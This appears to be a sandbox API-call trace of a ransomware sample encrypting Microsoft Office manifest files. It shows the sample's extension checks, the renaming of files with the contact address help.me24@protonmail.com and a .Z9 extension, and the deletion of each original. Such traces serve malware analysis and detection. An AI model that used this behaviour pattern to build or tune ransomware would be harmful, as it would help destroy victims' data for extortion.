	[0076.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0076.591] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 1
	[0076.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0076.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0076.592] lstrlenW (lpString=".doc") returned 4
	[0076.592] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0076.592] lstrlenW (lpString=".docx") returned 5
	[0076.592] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0076.592] lstrlenW (lpString=".pdf") returned 4
	[0076.592] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0076.592] lstrlenW (lpString=".xls") returned 4
	[0076.592] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0076.592] lstrlenW (lpString=".xlsx") returned 5
	[0076.592] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0076.592] lstrlenW (lpString=".ppt") returned 4
	[0076.592] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0076.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0076.592] lstrlenW (lpString=".zip") returned 4
	[0076.592] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0076.592] lstrlenW (lpString=".rar") returned 4
	[0076.592] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0076.592] lstrlenW (lpString=".bz2") returned 4
	[0076.592] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0076.592] lstrlenW (lpString=".7z") returned 3
	[0076.592] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0076.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0076.592] lstrlenW (lpString=".dbf") returned 4
	[0076.592] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0076.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0076.593] lstrlenW (lpString=".1cd") returned 4
	[0076.593] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0076.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0076.593] lstrlenW (lpString=".jpg") returned 4
	[0076.593] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0076.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0076.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0076.593] lstrlenW (lpString=".doc") returned 4
	[0076.593] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0076.593] lstrlenW (lpString=".docx") returned 5
	[0076.593] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0076.593] lstrlenW (lpString=".pdf") returned 4
	[0076.593] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0076.593] lstrlenW (lpString=".xls") returned 4
	[0076.593] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0076.593] lstrlenW (lpString=".xlsx") returned 5
	[0076.593] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0076.593] lstrlenW (lpString=".ppt") returned 4
	[0076.593] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0076.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0076.593] lstrlenW (lpString=".zip") returned 4
	[0076.593] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0076.593] lstrlenW (lpString=".rar") returned 4
	[0076.593] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0076.593] lstrlenW (lpString=".bz2") returned 4
	[0076.593] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0076.593] lstrlenW (lpString=".7z") returned 3
	[0076.593] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0076.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0076.593] lstrlenW (lpString=".dbf") returned 4
	[0076.593] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0076.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0076.593] lstrlenW (lpString=".1cd") returned 4
	[0076.593] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0076.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0076.593] lstrlenW (lpString=".jpg") returned 4
	[0076.594] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0076.594] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0076.594] lstrlenW (lpString="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 53
	[0076.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0076.594] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1124942) returned 1
	[0076.594] CloseHandle (hObject=0x370) returned 1
	[0076.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0076.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0076.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0076.595] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.595] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0076.595] GetLastError () returned 0x0
	[0076.595] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0076.654] WriteFile (in: hFile=0x364, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0077.124] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x12a5e, lpOverlapped=0x0) returned 1
	[0077.137] WriteFile (in: hFile=0x364, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x12a60, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x12a60, lpOverlapped=0x0) returned 1
	[0077.142] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.142] WriteFile (in: hFile=0x364, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.142] SetEndOfFile (hFile=0x364) returned 1
	[0077.142] CloseHandle (hObject=0x364) returned 1
	[0077.142] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.142] SetEndOfFile (hFile=0x370) returned 1
	[0077.143] CloseHandle (hObject=0x370) returned 1
	[0077.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0077.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 1
	[0077.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.144] lstrlenW (lpString=".doc") returned 4
	[0077.144] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.144] lstrlenW (lpString=".docx") returned 5
	[0077.144] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.144] lstrlenW (lpString=".pdf") returned 4
	[0077.144] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.144] lstrlenW (lpString=".xls") returned 4
	[0077.144] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.144] lstrlenW (lpString=".xlsx") returned 5
	[0077.144] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.144] lstrlenW (lpString=".ppt") returned 4
	[0077.144] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.144] lstrlenW (lpString=".zip") returned 4
	[0077.144] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.144] lstrlenW (lpString=".rar") returned 4
	[0077.145] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.145] lstrlenW (lpString=".bz2") returned 4
	[0077.145] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.145] lstrlenW (lpString=".7z") returned 3
	[0077.145] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.145] lstrlenW (lpString=".dbf") returned 4
	[0077.145] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.145] lstrlenW (lpString=".1cd") returned 4
	[0077.145] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.145] lstrlenW (lpString=".jpg") returned 4
	[0077.145] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.145] lstrlenW (lpString=".doc") returned 4
	[0077.145] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.145] lstrlenW (lpString=".docx") returned 5
	[0077.145] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.145] lstrlenW (lpString=".pdf") returned 4
	[0077.145] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.145] lstrlenW (lpString=".xls") returned 4
	[0077.145] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.145] lstrlenW (lpString=".xlsx") returned 5
	[0077.145] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.145] lstrlenW (lpString=".ppt") returned 4
	[0077.145] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.145] lstrlenW (lpString=".zip") returned 4
	[0077.145] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.145] lstrlenW (lpString=".rar") returned 4
	[0077.145] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.145] lstrlenW (lpString=".bz2") returned 4
	[0077.145] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.145] lstrlenW (lpString=".7z") returned 3
	[0077.146] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.146] lstrlenW (lpString=".dbf") returned 4
	[0077.146] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.146] lstrlenW (lpString=".1cd") returned 4
	[0077.146] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.146] lstrlenW (lpString=".jpg") returned 4
	[0077.146] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.146] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0077.146] lstrlenW (lpString="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 53
	[0077.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0077.146] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2147) returned 1
	[0077.146] CloseHandle (hObject=0x370) returned 1
	[0077.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 0x220
	[0077.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0077.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0077.147] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.147] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0077.147] GetLastError () returned 0x0
	[0077.147] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x863, lpOverlapped=0x0) returned 1
	[0077.149] WriteFile (in: hFile=0x364, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x870, lpOverlapped=0x0) returned 1
	[0077.150] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.150] WriteFile (in: hFile=0x364, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.150] SetEndOfFile (hFile=0x364) returned 1
	[0077.150] CloseHandle (hObject=0x364) returned 1
	[0077.152] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.152] SetEndOfFile (hFile=0x370) returned 1
	[0077.152] CloseHandle (hObject=0x370) returned 1
	[0077.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0077.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 1
	[0077.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0077.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0077.153] lstrlenW (lpString=".doc") returned 4
	[0077.153] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.153] lstrlenW (lpString=".docx") returned 5
	[0077.153] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.153] lstrlenW (lpString=".pdf") returned 4
	[0077.153] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.153] lstrlenW (lpString=".xls") returned 4
	[0077.153] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.153] lstrlenW (lpString=".xlsx") returned 5
	[0077.153] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.153] lstrlenW (lpString=".ppt") returned 4
	[0077.153] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0077.154] lstrlenW (lpString=".zip") returned 4
	[0077.154] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.154] lstrlenW (lpString=".rar") returned 4
	[0077.154] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.154] lstrlenW (lpString=".bz2") returned 4
	[0077.154] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.154] lstrlenW (lpString=".7z") returned 3
	[0077.154] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0077.154] lstrlenW (lpString=".dbf") returned 4
	[0077.154] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0077.154] lstrlenW (lpString=".1cd") returned 4
	[0077.154] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0077.154] lstrlenW (lpString=".jpg") returned 4
	[0077.154] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0077.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0077.154] lstrlenW (lpString=".doc") returned 4
	[0077.154] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.154] lstrlenW (lpString=".docx") returned 5
	[0077.154] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.154] lstrlenW (lpString=".pdf") returned 4
	[0077.154] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.154] lstrlenW (lpString=".xls") returned 4
	[0077.154] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.154] lstrlenW (lpString=".xlsx") returned 5
	[0077.154] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.154] lstrlenW (lpString=".ppt") returned 4
	[0077.154] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0077.155] lstrlenW (lpString=".zip") returned 4
	[0077.155] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.155] lstrlenW (lpString=".rar") returned 4
	[0077.155] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.155] lstrlenW (lpString=".bz2") returned 4
	[0077.155] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.155] lstrlenW (lpString=".7z") returned 3
	[0077.155] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0077.155] lstrlenW (lpString=".dbf") returned 4
	[0077.155] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0077.155] lstrlenW (lpString=".1cd") returned 4
	[0077.155] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0077.155] lstrlenW (lpString=".jpg") returned 4
	[0077.155] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.155] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0077.155] lstrlenW (lpString="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 53
	[0077.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0077.156] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2147) returned 1
	[0077.156] CloseHandle (hObject=0x370) returned 1
	[0077.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 0x220
	[0077.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
